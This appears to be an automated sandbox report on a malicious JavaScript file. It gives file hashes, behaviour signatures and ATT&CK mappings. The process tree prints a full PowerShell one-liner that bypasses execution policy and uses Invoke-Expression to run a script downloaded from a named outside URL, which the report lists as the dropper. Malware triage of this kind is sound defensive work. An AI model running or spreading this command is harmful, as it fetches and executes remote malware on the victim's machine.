c842f1d233e8f298aa3ee7d7b6e8e890474f9acf7ec18b4da07e771d3be323f4

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:45

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General

Target

c842f1d233e8f298aa3ee7d7b6e8e890474f9acf7ec18b4da07e771d3be323f4.js
Size

64KB
MD5

f6348f862b8f28e11adbf34af26b6159
SHA1

e974cab2e791d8d9d403ec4bac9a03e3e936392f
SHA256

c842f1d233e8f298aa3ee7d7b6e8e890474f9acf7ec18b4da07e771d3be323f4
SHA512

9cdb49496c9ede1f275df93df89476cd6de424419058d6a2a3e0db22a98d6248ce9cba180927723bc22beaeb82b733c59f5ade8d38b5773536efdddb0bd745bd
SSDEEP

1536:xz+pSx9UjeO+rANwbKkpddIVEZDZ/yMl+QQiZkkBLAoEUETvSvKCHCCD5V3KxFEC:AK9UjeO+rAqbKkpddIVEZDZ/yMl+QQiY

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2940	powershell.exe
4	2940	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2940	2172	wscript.exe	28
PID 2172 wrote to memory of 2940	2172	wscript.exe	28
PID 2172 wrote to memory of 2940	2172	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\c842f1d233e8f298aa3ee7d7b6e8e890474f9acf7ec18b4da07e771d3be323f4.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2940-4-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2940-5-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2940-6-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-7-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2940-8-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-9-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2940-10-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2940-11-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2940-12-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download